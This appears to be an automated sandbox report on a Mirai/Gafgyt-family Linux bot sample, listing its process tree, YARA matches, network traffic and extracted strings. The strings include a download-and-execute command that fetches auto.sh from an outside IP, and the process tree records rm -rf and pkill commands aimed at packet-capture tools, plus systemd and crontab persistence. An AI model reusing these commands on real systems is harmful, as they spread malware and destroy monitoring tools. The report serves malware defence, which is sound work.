Edit tour

Linux Analysis Report
x86_64.elf

Overview

General Information

Sample name:	x86_64.elf
Analysis ID:	1583207
MD5:	793608dcc966f10f356cc0c84b68f618
SHA1:	7042c74fc2ef1c8acdb11e020348d66b0c0a65ec
SHA256:	0ede5fe6fc280fd897bfafe958262eae21f5e866aa7fbc0c74aaf4a3e9ec3237
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Machine Learning detection for sample

Sample deletes itself

Sample tries to kill multiple processes (SIGKILL)

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "kill" or "pkill" command typically used to terminate processes

Executes the "rm" command used to delete files or directories

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Reads CPU information from /sys indicative of miner or evasive malware

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583207
Start date and time:	2025-01-02 08:47:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	x86_64.elf
Detection:	MAL
Classification:	mal76.spre.evad.linELF@0/6@100/0

Warnings

Report size exceeded maximum capacity and may have missing behavior information.

Runtime Messages

Command:	/tmp/x86_64.elf
PID:	6223
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	made you my bitch
Standard Error:

Process Tree

system is lnxubuntu20

x86_64.elf (PID: 6223, Parent: 6146, MD5: 793608dcc966f10f356cc0c84b68f618) Arguments: /tmp/x86_64.elf

x86_64.elf New Fork (PID: 6246, Parent: 6223)

x86_64.elf New Fork (PID: 6247, Parent: 6246)

pkill (PID: 6247, Parent: 6246, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill tcpdump

x86_64.elf New Fork (PID: 6248, Parent: 6246)

pkill (PID: 6248, Parent: 6246, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill tshark

x86_64.elf New Fork (PID: 6249, Parent: 6246)

pkill (PID: 6249, Parent: 6246, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill wireshark

x86_64.elf New Fork (PID: 6250, Parent: 6246)

pkill (PID: 6250, Parent: 6246, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill dumpcap

x86_64.elf New Fork (PID: 6251, Parent: 6246)

pkill (PID: 6251, Parent: 6246, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill ettercap

x86_64.elf New Fork (PID: 6252, Parent: 6246)

pkill (PID: 6252, Parent: 6246, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill dsniff

x86_64.elf New Fork (PID: 6253, Parent: 6246)

pkill (PID: 6253, Parent: 6246, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill ngrep

x86_64.elf New Fork (PID: 6254, Parent: 6246)

pkill (PID: 6254, Parent: 6246, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill tcpflow

x86_64.elf New Fork (PID: 6255, Parent: 6246)

pkill (PID: 6255, Parent: 6246, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill windump

x86_64.elf New Fork (PID: 6256, Parent: 6246)

pkill (PID: 6256, Parent: 6246, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill netsniff-ng

x86_64.elf New Fork (PID: 6266, Parent: 6246)

rm (PID: 6266, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/sbin/tcpdump

x86_64.elf New Fork (PID: 6267, Parent: 6246)

rm (PID: 6267, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/sbin/tshark

x86_64.elf New Fork (PID: 6268, Parent: 6246)

rm (PID: 6268, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/sbin/wireshark

x86_64.elf New Fork (PID: 6269, Parent: 6246)

rm (PID: 6269, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/sbin/dumpcap

x86_64.elf New Fork (PID: 6270, Parent: 6246)

rm (PID: 6270, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/sbin/ettercap

x86_64.elf New Fork (PID: 6271, Parent: 6246)

rm (PID: 6271, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/sbin/dsniff

x86_64.elf New Fork (PID: 6272, Parent: 6246)

rm (PID: 6272, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/sbin/ngrep

x86_64.elf New Fork (PID: 6273, Parent: 6246)

rm (PID: 6273, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/sbin/tcpflow

x86_64.elf New Fork (PID: 6274, Parent: 6246)

rm (PID: 6274, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/sbin/windump

x86_64.elf New Fork (PID: 6275, Parent: 6246)

rm (PID: 6275, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/sbin/netsniff-ng

x86_64.elf New Fork (PID: 6276, Parent: 6246)

rm (PID: 6276, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/bin/tcpdump

x86_64.elf New Fork (PID: 6277, Parent: 6246)

rm (PID: 6277, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/bin/tshark

x86_64.elf New Fork (PID: 6278, Parent: 6246)

rm (PID: 6278, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/bin/wireshark

x86_64.elf New Fork (PID: 6279, Parent: 6246)

rm (PID: 6279, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/bin/dumpcap

x86_64.elf New Fork (PID: 6280, Parent: 6246)

rm (PID: 6280, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/bin/ettercap

x86_64.elf New Fork (PID: 6281, Parent: 6246)

rm (PID: 6281, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/bin/dsniff

x86_64.elf New Fork (PID: 6282, Parent: 6246)

rm (PID: 6282, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/bin/ngrep

x86_64.elf New Fork (PID: 6283, Parent: 6246)

rm (PID: 6283, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/bin/tcpflow

x86_64.elf New Fork (PID: 6284, Parent: 6246)

rm (PID: 6284, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/bin/windump

x86_64.elf New Fork (PID: 6285, Parent: 6246)

rm (PID: 6285, Parent: 6246, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /usr/bin/netsniff-ng

x86_64.elf New Fork (PID: 6286, Parent: 6246)

x86_64.elf New Fork (PID: 6464, Parent: 6286)

x86_64.elf New Fork (PID: 6466, Parent: 6464)

x86_64.elf New Fork (PID: 6465, Parent: 6286)

sh (PID: 6465, Parent: 6286, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload"

sh New Fork (PID: 6467, Parent: 6465)

systemctl (PID: 6467, Parent: 6465, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

x86_64.elf New Fork (PID: 6472, Parent: 6286)

sh (PID: 6472, Parent: 6286, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable startup_command.service"

sh New Fork (PID: 6473, Parent: 6472)

systemctl (PID: 6473, Parent: 6472, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable startup_command.service

x86_64.elf New Fork (PID: 6287, Parent: 6246)

x86_64.elf New Fork (PID: 6289, Parent: 6287)

x86_64.elf New Fork (PID: 6288, Parent: 6246)

sh (PID: 6288, Parent: 6246, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload"

sh New Fork (PID: 6290, Parent: 6288)

systemctl (PID: 6290, Parent: 6288, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

x86_64.elf New Fork (PID: 6303, Parent: 6246)

sh (PID: 6303, Parent: 6246, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable startup_command.service"

sh New Fork (PID: 6304, Parent: 6303)

systemctl (PID: 6304, Parent: 6303, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable startup_command.service

dash New Fork (PID: 6224, Parent: 4331)

rm (PID: 6224, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.GHPtGyr9eo /tmp/tmp.haNIH77T1p /tmp/tmp.ycnmguYVtd

dash New Fork (PID: 6225, Parent: 4331)

rm (PID: 6225, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.GHPtGyr9eo /tmp/tmp.haNIH77T1p /tmp/tmp.ycnmguYVtd

systemd New Fork (PID: 6292, Parent: 6291)

snapd-env-generator (PID: 6292, Parent: 6291, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 6317, Parent: 6316)

snapd-env-generator (PID: 6317, Parent: 6316, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

gnome-session-binary New Fork (PID: 6324, Parent: 1477)

sh (PID: 6324, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-rfkill

gsd-rfkill (PID: 6324, Parent: 1477, MD5: 88a16a3c0aba1759358c06215ecfb5cc) Arguments: /usr/libexec/gsd-rfkill

systemd New Fork (PID: 6329, Parent: 1)

systemd-hostnamed (PID: 6329, Parent: 1, MD5: 2cc8a5576629a2d5bd98e49a4b8bef65) Arguments: /lib/systemd/systemd-hostnamed

gdm3 New Fork (PID: 6460, Parent: 1320)

Default (PID: 6460, Parent: 1320, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 6461, Parent: 1320)

Default (PID: 6461, Parent: 1320, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

systemd New Fork (PID: 6469, Parent: 6468)

snapd-env-generator (PID: 6469, Parent: 6468, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 6475, Parent: 6474)

snapd-env-generator (PID: 6475, Parent: 6474, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
x86_64.elf	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xc0b8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
x86_64.elf	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xc8a7:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
x86_64.elf	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x90e2:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x9314:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
x86_64.elf	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0xfbc6:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
x86_64.elf	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xc467:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
x86_64.elf	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xc732:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
x86_64.elf	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x4aa:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
x86_64.elf	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x5ad:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
x86_64.elf	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x5912:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
Click to see the 4 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6223.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xc0b8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
6223.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xc8a7:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
6223.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0x90e2:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0x9314:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
6223.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0xfbc6:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
6223.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xc467:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
6223.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xc732:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
6223.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x4aa:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
6223.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x5ad:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
6223.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x5912:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
Click to see the 4 entries

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: x86_64.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: x86_64.elf	Virustotal: Detection: 34%			Perma Link
Source: x86_64.elf	ReversingLabs: Detection: 42%

Machine Learning detection for sample

Source: x86_64.elf

Joe Sandbox ML: detected

Source: /usr/bin/pkill (PID: 6247)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6248)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6249)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6250)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6251)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6252)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6253)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6254)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6255)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 6256)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior

Source: x86_64.elf	String: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: x86_64.elf	String: @%s/%s/proc//proc/%s/cmdlinewgetcurlnetstatpsbusyboxlsmvechokillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exe/mnt/root/dev/null/dev/console/var/wwwsystemctl daemon-reload/tmp/current_crontabcrontab %s/tmp/crontabXXXXXX@reboot %s
Source: x86_64.elf	String: systemctl enable startup_command.servicecrontab -l > /tmp/current_crontab 2>/dev/nullcd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: startup_command.service.17.dr	String: ExecStart=cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh (null)
Source: startup_command.service.78.dr	String: ExecStart=cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh (null)

Source: global traffic	TCP traffic: 192.168.2.23:43510 -> 45.200.149.167:2601
Source: global traffic	TCP traffic: 192.168.2.23:45846 -> 45.200.149.96:2601
Source: global traffic	TCP traffic: 192.168.2.23:43898 -> 23.94.242.130:2601
Source: global traffic	TCP traffic: 192.168.2.23:57992 -> 45.200.149.95:2601
Source: global traffic	TCP traffic: 192.168.2.23:59324 -> 23.94.37.42:2601
Source: global traffic	TCP traffic: 192.168.2.23:42682 -> 104.168.33.8:2601
Source: global traffic	TCP traffic: 192.168.2.23:38186 -> 45.200.149.249:2601

Source: /tmp/x86_64.elf (PID: 6223)

Socket: 127.0.0.1:39123

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: tcpdown.su

Source: startup_command.service.78.dr	String found in binary or memory: http://154.216.18.192/auto.sh
Source: x86_64.elf, startup_command.service.17.dr, startup_command.service.78.dr	String found in binary or memory: http://154.216.18.192/auto.sh;

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown	Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 6223.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/x86_64.elf (PID: 6464)	SIGKILL sent: pid: 904, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6464)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6464)	SIGKILL sent: pid: 1877, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 721, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 904, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 912, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 918, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 1601, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 1638, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 1877, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 6324, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: Initial sample	String containing 'busybox' found: @%s/%s/proc//proc/%s/cmdlinewgetcurlnetstatpsbusyboxlsmvechokillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exe/mnt/root/dev/null/dev/console/var/wwwsystemctl daemon-reload/tmp/current_crontabcrontab %s/tmp/crontabXXXXXX@reboot %s
Source: Initial sample	String containing 'busybox' found: systemctl enable startup_command.servicecrontab -l > /tmp/current_crontab 2>/dev/nullcd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh %s

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/x86_64.elf (PID: 6464)	SIGKILL sent: pid: 904, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6464)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6464)	SIGKILL sent: pid: 1877, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 721, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 904, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 912, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 918, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/x86_64.elf (PID: 6287)	SIGKILL sent: pid: 1601, result: successful	Jump to behavior
